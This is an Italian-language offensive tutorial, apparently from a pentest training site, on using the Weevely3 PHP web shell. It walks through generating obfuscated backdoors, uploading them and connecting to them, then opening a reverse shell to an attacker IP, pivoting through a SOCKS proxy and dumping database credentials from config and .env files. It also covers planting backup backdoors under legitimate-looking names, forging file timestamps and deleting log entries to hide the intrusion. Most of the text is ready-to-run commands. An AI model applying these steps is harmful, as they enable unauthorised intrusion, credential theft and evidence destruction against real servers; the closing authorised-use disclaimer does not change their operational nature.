Weevely3: Web Shell PHP Stealth per Post-Exploitation e Pivoting #

Introduzione #

Una web shell è il punto d’appoggio dopo aver compromesso un’applicazione web. Weevely3 porta questo concetto a un livello operativo superiore: genera backdoor PHP offuscate, le gestisce tramite un client interattivo e offre oltre 30 moduli integrati per post-exploitation — dal file management al port scanning, dal dump database al tunneling di rete.

A differenza di una semplice <?php system($_GET['cmd']); ?>, Weevely produce shell che eludono la maggior parte dei WAF e degli scanner antivirus. La comunicazione tra client e backdoor avviene su HTTP/HTTPS con payload offuscati in cookie e header, rendendo il traffico difficile da distinguere da richieste web legittime.

Nella kill chain, Weevely opera tra Initial Access e Command & Control (MITRE ATT&CK T1505.003). Questo articolo copre dalla generazione della shell fino a scenari complessi di post-exploitation su server LAMP e ambienti cloud.

Setup e Installazione #

Weevely3 è preinstallato su Kali Linux. Per installazione manuale:

git clone https://github.com/epinna/weevely3.git
cd weevely3
pip install -r requirements.txt --break-system-packages

Verifica:

python3 weevely.py --help

Output:

weevely 4.0.1
Usage: weevely.py generate <password> <path>
       weevely.py <URL> <password> [cmd]

Requisiti:

• Python 3.x sull’attacker box
• PHP 5.x/7.x/8.x sul server target
• Possibilità di caricare un file PHP sul target (upload form, file inclusion, CMS vulnerability)

Uso Base #

Generazione della backdoor #

python3 weevely.py generate s3cr3tP@ss /home/claude/shell.php

Output:

Generated backdoor with password 's3cr3tP@ss' in '/home/claude/shell.php' of 724 bytes.

Il file generato pesa meno di 1KB ed è offuscato. Aprilo e vedrai codice PHP apparentemente innocuo — variabili con nomi randomici, stringhe concatenate, nessun system() o exec() in chiaro.

Upload della backdoor #

Carica shell.php sul target attraverso il vettore disponibile (upload form, LFI to RCE, CMS exploit, FTP). Il path finale potrebbe essere:

http://target.com/uploads/shell.php

Connessione alla backdoor #

python3 weevely.py http://target.com/uploads/shell.php s3cr3tP@ss

Output:

[+] weevely 4.0.1
[+] Target: target.com
[+] Session: /root/.weevely/sessions/target.com/shell_0.session
www-data@target:/var/www/html/uploads $

Hai una shell interattiva. Puoi eseguire comandi come su una SSH:

www-data@target $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target $ uname -a
Linux target 5.15.0-91-generic #101-Ubuntu SMP x86_64

Tecniche Operative #

Moduli integrati — I più utili #

Weevely ha un sistema di moduli. Listali con:

www-data@target $ :help

I moduli critici per il pentest:

File management:

www-data@target $ :file_download /etc/passwd /tmp/passwd.txt
www-data@target $ :file_upload /tmp/linpeas.sh /var/www/html/uploads/linpeas.sh

Enumerazione sistema:

www-data@target $ :system_info

Output:

+------------------+----------------------------------------+
| hostname         | target                                 |
| kernel           | 5.15.0-91-generic                      |
| architecture     | x86_64                                 |
| os               | Ubuntu 22.04.3 LTS                     |
| php_version      | 8.1.2                                  |
| document_root    | /var/www/html                           |
| safe_mode        | Off                                    |
| disabled_funcs   | pcntl_exec                              |
+------------------+----------------------------------------+

Dump database MySQL:

www-data@target $ :sql_console -u root -p dbpassword
root@localhost SQL> SELECT user,authentication_string FROM mysql.user;

Port scanning dalla macchina target:

www-data@target $ :net_scan 172.16.0.1-172.16.0.50 22,80,443,3306

Output:

172.16.0.1:22    open
172.16.0.5:80    open
172.16.0.5:3306  open
172.16.0.10:443  open

Enumerazione della rete interna direttamente dalla web shell, senza caricare tool aggiuntivi.

Reverse shell upgrade #

Weevely è comoda ma limitata. Per ottenere una reverse shell completa:

www-data@target $ :backdoor_reversetcp 10.10.14.22 4444

Sul tuo listener:

nc -lvnp 4444

Ricevi una shell TCP classica per operazioni che richiedono interattività piena (es. compilazione exploit, esecuzione binari).

Tecniche Avanzate #

Tunneling HTTP per pivoting #

Weevely può creare un tunnel TCP attraverso la connessione HTTP alla backdoor:

www-data@target $ :net_proxy 1080

Questo crea un SOCKS proxy sulla porta locale 1080 del tuo attacker box, passando attraverso la web shell. Il traffico è incapsulato nelle richieste HTTP verso shell.php.

Ora puoi usare ProxyChains per raggiungere la rete interna:

proxychains4 nmap -sT -Pn 172.16.0.0/24

Tutto il traffico transita via HTTP — nessuna connessione SSH necessaria.

Persistenza con backdoor multipla #

Genera una seconda backdoor con password diversa e posizionala in un path meno ovvio:

python3 weevely.py generate b@ckupK3y /home/claude/error_handler.php

Upload in:

/var/www/html/includes/error_handler.php

Nome file legittimo, directory che non viene controllata spesso. Se la prima shell viene scoperta e rimossa, hai un backup.

Evasion: generazione con template custom #

Weevely supporta template PHP personalizzati per evadere signature-based detection:

python3 weevely.py generate -obfuscator cleartext1_php s3cr3tP@ss /home/claude/stealth.php

L’opzione -obfuscator cambia il pattern di offuscamento. Alterna tra i template disponibili per ogni ingaggio.

Bypass disable_functions #

Se PHP ha funzioni di sistema disabilitate (system, exec, passthru), Weevely prova automaticamente alternative:

www-data@target $ :shell_php

Se le funzioni di sistema sono tutte bloccate, Weevely usa mail() con flag -X per scrivere file o putenv() + error_log() per esecuzione indiretta. Il tool tenta in automatico — devi solo verificare che almeno una via sia aperta.

Scenari Pratici di Pentest #

Scenario 1: CMS WordPress compromesso — Post-exploitation completa #

Upload della shell via un plugin vulnerabile:

python3 weevely.py generate w0rdpr3ss /home/claude/wp-cache.php
# Upload tramite exploit
python3 weevely.py http://target.com/wp-content/uploads/wp-cache.php w0rdpr3ss

Output atteso: shell interattiva come www-data.

Cosa fare se fallisce:

• 403 Forbidden sul path della shell → Il server blocca esecuzione PHP nella directory uploads. Cerca una directory alternativa: /wp-includes/, /wp-content/themes/twentytwentythree/.
• Connessione stabilita ma comandi non restituiscono output → disabled_functions molto restrittivo. Prova :shell_php per passare a esecuzione PHP pura.

Timeline: Generazione shell 2 secondi. Upload 30 secondi. Connessione 3 secondi. Enumerazione completa 10 minuti.

Scenario 2: Server LAMP con database esposto — Dump credenziali #

www-data@target $ cat /var/www/html/config.php
# Trovi: $db_pass = 'r00tDB_2025';
www-data@target $ :sql_console -u root -p r00tDB_2025
root@localhost SQL> SELECT user_login,user_pass FROM wp_users;

Output atteso:

+-------------+------------------------------------+
| user_login  | user_pass                          |
+-------------+------------------------------------+
| admin       | $P$BgH8f2vGHkwJH7kM3HjL.8ZwKjFq.  |
| editor      | $P$B5aK2cL7zR9xM1nD4gF3hJ8kL0pQ.  |
+-------------+------------------------------------+

Cosa fare se fallisce:

• MySQL non accessibile → Credenziali errate o socket diverso. Prova: :sql_console -u root -p r00tDB_2025 -host 127.0.0.1.
• Errore Can't connect to local MySQL server through socket → Il socket è in un path non standard: trova con find / -name mysql.sock 2>/dev/null.

Timeline: Lettura config 5 secondi. Dump tabella 10 secondi.

Scenario 3: Ambiente cloud con container PHP — Pivoting verso servizi interni #

www-data@target $ :net_scan 10.0.0.1-10.0.0.50 6379,27017,5432,9200

Output atteso:

10.0.0.3:6379   open   (Redis)
10.0.0.7:27017  open   (MongoDB)
10.0.0.12:9200  open   (Elasticsearch)

Cosa fare se fallisce:

• Scan lento o timeout → Riduci il range. Prova prima con host singoli: :net_scan 10.0.0.3 6379.
• Nessuna porta aperta → Il container potrebbe essere isolato a livello di rete. Verifica routing: ip route show.

Timeline: Scan su 50 host, 4 porte: 2-5 minuti.

Toolchain Integration #

Weevely si colloca come primo punto d’appoggio dopo una vulnerabilità web.

Flusso operativo:

Gobuster/Dirsearch (directory discovery) → Exploit web (upload/LFI/RCE) → Weevely3 (C2 via HTTP) → Enumerazione interna → Lateral Movement

La connessione HTTP di Weevely è ideale quando SSH non è disponibile e non vuoi caricare binari pesanti sul server. Se il target ha solo porta 80/443 aperta verso l’esterno, Weevely è l’unica via di C2 stabile.

Passaggio dati:

# Gobuster trova un upload form
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt
# Output: /upload (Status: 200)

# Carica la shell Weevely
curl -F "file=@shell.php" http://target.com/upload

# Connettiti
python3 weevely.py http://target.com/uploads/shell.php s3cr3tP@ss

# Dall'interno, usa Weevely per scansionare
www-data@target $ :net_scan 172.16.0.0/24 22,445,3389

Attack Chain Completa #

Obiettivo: Accesso al database di produzione di un e-commerce tramite web shell.

Fase 1 — Recon (25 min)

Scansione con Masscan per porte aperte, poi directory bruteforce con Gobuster. Trovi un pannello admin con upload file.

Fase 2 — Initial Access (10 min)

Upload della shell Weevely tramite l’upload form. La shell finisce in /var/www/html/media/shell.php.

Fase 3 — Post-Exploitation locale (15 min)

www-data@target $ :system_info
www-data@target $ cat /var/www/html/.env
# DB_HOST=rds-prod.amazonaws.com
# DB_USER=ecommerce_admin
# DB_PASS=Pr0d_DB!2025

Credenziali del database di produzione nel file .env.

Fase 4 — Accesso database (5 min)

www-data@target $ :sql_console -u ecommerce_admin -p 'Pr0d_DB!2025' -host rds-prod.amazonaws.com
SQL> SELECT COUNT(*) FROM orders;
# 847,293 records

Fase 5 — Pivoting verso rete interna (20 min)

www-data@target $ :net_proxy 1080

Dal tuo box, con ProxyChains, raggiungi i servizi interni dell’infrastruttura cloud.

Timeline totale: ~75 minuti.

Detection & Evasion #

Cosa monitora il Blue Team #

• File PHP nuovi nelle directory web (monitoring filesystem con inotify/auditd)
• Richieste HTTP POST ripetute verso lo stesso file PHP con payload in cookie/header
• Processi PHP che eseguono comandi di sistema (ps aux mostra sh -c spawned da php-fpm)
• ModSecurity o WAF che analizza payload nelle richieste

Log rilevanti #

• Apache/Nginx access log → richieste POST anomale verso il file backdoor
• ModSecurity audit log → se il WAF cattura il payload (raro con Weevely)
• Linux audit log → execve syscall da processi www-data
• PHP error log → errori generati durante l’esecuzione di moduli

Tecniche di evasion #

1. Naming legittimo: chiama la shell wp-cron-handler.php o cache-purge.php. Nomi che sembrano funzionalità CMS.
2. Timestamp manipulation: modifica il timestamp del file per farlo sembrare vecchio:

touch -t 202301150830 /var/www/html/uploads/shell.php

1. HTTPS-only: se il target ha SSL, connettiti solo via HTTPS. Il traffico è cifrato end-to-end — anche un IDS inline non vede il contenuto.

Cleanup #

www-data@target $ :file_rm /var/www/html/uploads/shell.php

Oppure dal server:

rm -f /var/www/html/uploads/shell.php
# Pulisci i log
sed -i '/shell.php/d' /var/log/apache2/access.log

Performance & Scaling #

Single target: la connessione Weevely è leggera — ogni comando è una singola richiesta HTTP. Latenza tipica: 100-500ms per comando, dipendente dalla rete.

Operazioni pesanti: download/upload di file grandi (>50MB) sono lenti attraverso la web shell HTTP. Per trasferimenti pesanti, converti a una connessione diretta con :backdoor_reversetcp.

Multi-target: Weevely gestisce una sessione per target. Per operare su più shell contemporaneamente, usa terminali separati o tmux con una sessione Weevely per pane.

Sessioni persistenti: Weevely salva le sessioni in ~/.weevely/sessions/. Puoi riconnetterti senza reinserire URL e password:

python3 weevely.py session /root/.weevely/sessions/target.com/shell_0.session

Tabelle Tecniche #

Command Reference — Moduli principali #

Confronto web shell #

Troubleshooting #

FAQ #

Weevely funziona con PHP 8? Sì. Weevely3 supporta PHP 5.x, 7.x e 8.x. Alcune funzionalità specifiche potrebbero richiedere adattamenti su versioni recenti.

Il traffico è rilevabile da un IDS? Weevely offusca il payload in cookie e header HTTP. Su HTTPS, il contenuto è cifrato. Un IDS basato su signature ha probabilità molto basse di detection.

Posso usare Weevely su server Windows con PHP? Sì, ma i moduli specifici Linux (SUID, cron) non funzioneranno. I moduli file, SQL e network sono cross-platform.

Come aggiorno Weevely? cd weevely3 && git pull. I moduli si aggiornano con il repository.

Weevely è rilevato da antivirus sul target? La shell generata ha un detection rate basso (~5/60 su VirusTotal). Per ambienti protetti, usa template custom con -obfuscator.

Cheat Sheet #

Disclaimer: Weevely3 è un tool per penetration test autorizzati e ricerca di sicurezza. L’installazione di backdoor su sistemi senza autorizzazione è un reato penale grave. Repository: github.com/epinna/weevely3.

Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.